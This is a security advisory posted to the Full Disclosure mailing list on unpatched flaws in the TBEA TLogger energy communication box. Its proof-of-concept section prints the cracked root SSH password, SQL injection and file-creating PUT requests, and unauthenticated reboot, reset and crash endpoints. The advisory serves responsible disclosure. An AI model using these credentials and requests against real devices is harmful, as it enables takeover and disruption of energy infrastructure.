Full Disclosure mailing list archives
Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation
From: Thomas Weber | CyberDanube via Fulldisclosure <fulldisclosure () seclists org>
Date: Tue, 25 Aug 2026 13:18:02 +0000
------------------------------------------------------------------------------- title| Multiple Vulnerabilities in TBEA TLogger product| TBEA TLogger (TBEA Communication Box 3rd Generation) vulnerable version| V2.1.0.0B0.0.0.0 fixed version| - CVE number| CVE-2025-13293, CVE-2025-13294, CVE-2025-15680, | CVE-2025-15681, CVE-2025-15682, CVE-2025-15683 impact| Critical homepage| https://www.tbea.com/ ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "TBEA, a group committed to “green and low-carbon development”, is a pioneer in global energy-efficient power transmission and distribution, and a industry-leading service provider of clean energy solutions." Source: https://en.tbea.com/about.html Vulnerable versions ------------------------------------------------------------------------------- TBEA TLogger / V2.1.0.0B0.0.0.0 Vulnerability overview ------------------------------------------------------------------------------- 1) Backdoor Account (CVE-2025-13293) The TLogger exposes SSH to the network. This SSH service also allows root login on the device. By cracking the hash from the file '/etc/shadow' it was possible to recover the password. 2) Unauthenticated SQL Injection (CVE-2025-13294) The webserver accepts unauthenticated request that trigger SQLite Queries from the CCU.db, these request are vulnerable the SQL injections. An attacker can modify, read and delete data this way. 3) Information Disclosure via UART (CVE-2025-15680) The UART interface is exposed on the circuit board. A physical attacker can use the interface to observer the boot procedure and get valuable debug information from the system via this way. 4) Insufficient Webserver Authentication (CVE-2025-15681) The authentication of the webserver was implemented in an insufficient way. A user can bypass the login via browsing to another endpoint of the system. This is only possible if any user was logged into the device previously. 5) Unauthenticated Resource Exhaustion (CVE-2025-15682) The webserver accepts a unauthenticated PUT request that create files containing user specified data in /opt/myapp/webserver/. 6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683) The webserver can be put in denial of service conditions by accessing to specific endpoints. These endpoints do not require any previous authentication. Proof of Concept ------------------------------------------------------------------------------- 1) Backdoor Account (CVE-2025-13293) By reading out the file /etc/shadow, the hash of the user root gets exposed: root:aH8eS1ufCL7xY:17464:0:99999:7::: The cracked password is: tbea1234 This can be used to login as root user via SSH to the device. 2) Unauthenticated SQL Injection (CVE-2025-13294) By sending a request where one of the parameters contains a URL encoded SQL injection you can modify the output from the query: ~ GET /action/DayCapacity?&date="1'+OR+1%3d1%3b--" HTTP/1.1 Host: 192.168.19.132 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: tbea_language=en Upgrade-Insecure-Requests: 1 Priority: u=0, i ~ This happens because the value of date is added to the query string without any parsing or validation: ~ char* r0_5 = websGetVar(wp_1, "date", 0x963a4, &wp_1) sprintf(&var_5cc, "where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ", r0_5, "where strftime('%%Y-%%m-%%d', DATE_TIME) = '%s' ") strcat(&sql, &var_5cc) ~ The same method is used through out the webserver. Therefore, multiple "action" endpoints that are prone to the SQL injection vulnerability: Selects: * DayCapacity * MonthCapacity * YearCaparity * recordData * InvHistoryData (&index>=1000) * CollectHistoryData * InvFaultData (&index>=100) * GetPortTableByParm * GetDicTransmit * GetDicDataPoint * GetXMLConfigByIPAndTypeCode * GetDicDataPointByInfo * Getstation_data * Getcustom_data * GetXmlSgnalConfig * getTrackParaData Deletes: * DeletePortTable1_4ByParm * DeleteHostIP_configByIp * DeleteIP_configByIp * DeleteDicTransmit * DeleteDicDataPoint * XMLInfoInDb 3) Information Disclosure via UART (CVE-2025-15680) Two pins on the backside of the TLogger PCB can be used to gain UART access. By attaching a UART-to-USB serial converter, the following system startup can be observed: ~ U-Boot 2016.03 (Jun 11 2022 - 12:04:08 +0800) CPU: Freescale i.MX6ULL rev1.1 69 MHz (running at 396 MHz) CPU: Temperature 32 C Reset cause: POR Board: EPC-M6Y2C Watchdog enabled DRAM: 256 MiB NAND: 256 MiB MMC: FSL_SDHC: 0 In: serial Out: serial Err: serial Net: FEC1 Normal Boot Hit 'zlg' to stop autoboot: 2 1 0 [...] IPv6: ADDRCONF(NETDEV_CHANGE): eth0: link becomes ready ifconfig: SIOCSIFFLAGS: Operation not permitted /etc/init.d/rcS: /etc/init.d/S90start_userapp.sh: line 45: can't create /sys/class/rtc/rtc0/device/clk_out_ctl: Permission denied set file system rw start set file system rw end /sbin:/usr/sbin:/bin:/usr/bin /bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin / u s r / l o c a l / q t - 4 . 8 . 6 / l i b : / u s r / l o c a l / q t - 4.8.6/plugins/imageformats:/usr/local/tslib/lib: main() start. -------------------- System: system start to run... [...] debug IP=192.168.1.253 route: SIOCADDRT: File exists webserver: 2: Configuration for Embedthis webserver webserver: 2: --------------------------------------------- webserver: 2: Version: V2.1.0.0B0.0.0.0 webserver: 2: BuildType: Debug webserver: 2: CPU: arm webserver: 2: OS: linux webserver: 2: Host: 192.168.2.253 webserver: 2: Directory: /opt/myapp/webserver webserver: 2: Documents: web webserver: 2: Configure: me -d -q -platform windows-x86-default - configure . -without ssl -gen vs webserver: 2: --------------------------------------------- webserver: 2: Started http://:80 ~ Such details and the resulting debug capabilities enable a physical attacker to debug the device effectively during runtime. 4) Insufficient Webserver Authentication (CVE-2025-15681) The webserver of the TLogger required to be logged in to the application for administrating the device. If a user has been authenticated correctly in a previous session, it was possible for a malicious actor to browse to the endpoint "/index.asp", and bypass the login process completely. The root cause is suspected to be a memory management issue within the webserver daemon itself. An attacker can not see its user name as there are just memory residue, which are displayed instead of admin. If such an unauthenticated-but-authenticated user logs out, the webserver crashes. 5) Unauthenticated Resource Exhaustion (CVE-2025-15682) By sending a PUT request to the endpoint "/tmp/", the webserver creates the file "/opt/myapp/webserver/put-0.tmp" containing the data from the request body. Every subsequent request will create a new file e.g. "put-1.tmp": ~ PUT /tmp/ HTTP/1.1 Host: 192.168.19.132 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Cookie: tbea_language=en Upgrade-Insecure-Requests: 1 Priority: u=0, i Content-Length: 22 USERSPECIFIED DATA ~ These file aren’t deleted automatically, leading to a memory resource exhaustion. This issue occurs because the webserver attempts to move the generated "put-1.tmp" file into "/opt/myapp/webserver/web/tmp/". However, the "web/tmp/" directory does not exist. 6) Multiple Unauthenticated DoS Conditions (CVE-2025-15683) Different DoS conditions can be triggered via the webserver on the device. Unauthenticated DoS Actions: The webserver allows for multiple unauthenticated /action calls that result in a DoS: * /action/onRestart - Triggers a reboot * /action/onReset - Sets FLAG_RECREATE followed by reboot * /action/ClearData - Sets FLAG_CLEARDATA * /action/uploadInvFile - When sent as POST Request without a file results in SegFault of the Webserver Unauthenticated DoS via Buffer Overflow Multiple /action calls, when sent with certain parameters, result in a Segfault of the Webserver because of a buffer overflow. This happens because the typical method to assemble the queries is sprintf() and strcat() without any length checks. Vulnerable action calls: * /action/getIndiaRPData index=”1’--aaaabaaacaaadaaaeaaafa” type=1D * /action/YearCaparity date=’A’300 * /action/TotalfaultData startDate=’A’300 * /action/recordData startDate=’A’300 * /action/InvHistoryData index>=1000 startDate=’A’300 * /action/CollectHistoryData startDate=’A’300 * /action/InvFaultData index>=100 startDate=’A’300 * /action/GetPortTableByParm port='A'2000 * /action/UpdatePortConfig port='A'2000 Solution ------------------------------------------------------------------------------- None. Workaround ------------------------------------------------------------------------------- Restrict network and physical access to the device. The component should only be operated in an encapsulated/air-gapped environment. Recommendation ------------------------------------------------------------------------------- Implement a customized action plan in advance, if the product should be integrated in the infrastructure. Contact Timeline ------------------------------------------------------------------------------- 2026-01-07: Contacted Austrian Energy CERT 2026-01-07: Initial contact attempt / Inquiry to zxxxxxxxxxxxxg[@]tbea[.]com regarding potential vulnerabilities. 2026-01-22: Contact attempt via LinkedIn with alleged "International Business Manager at TBEA". 2026-01-22: Attempted to get contact addresses via other european CERTs. 2026-01-22: Attempted to get contact addresses via Energy ISAC. 2026-04-27: Sent initial findings regarding CVE-2025-13293 and CVE-2025-13294 to generic mailbox tbeaoffice[@]tbea[.]com. 2026-08-05: Sent further findings regarding CVE-2025-15680, CVE-2025-15681, CVE-2025-15682 and CVE-2025-15683 to generic mailbox tbeaoffice[@]tbea[.]com. 2026-08-10: Advisory publication. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- Multiple Vulnerabilities in TBEA TLogger Communication Box 3rd Generation Thomas Weber | CyberDanube via Fulldisclosure (Aug 26)
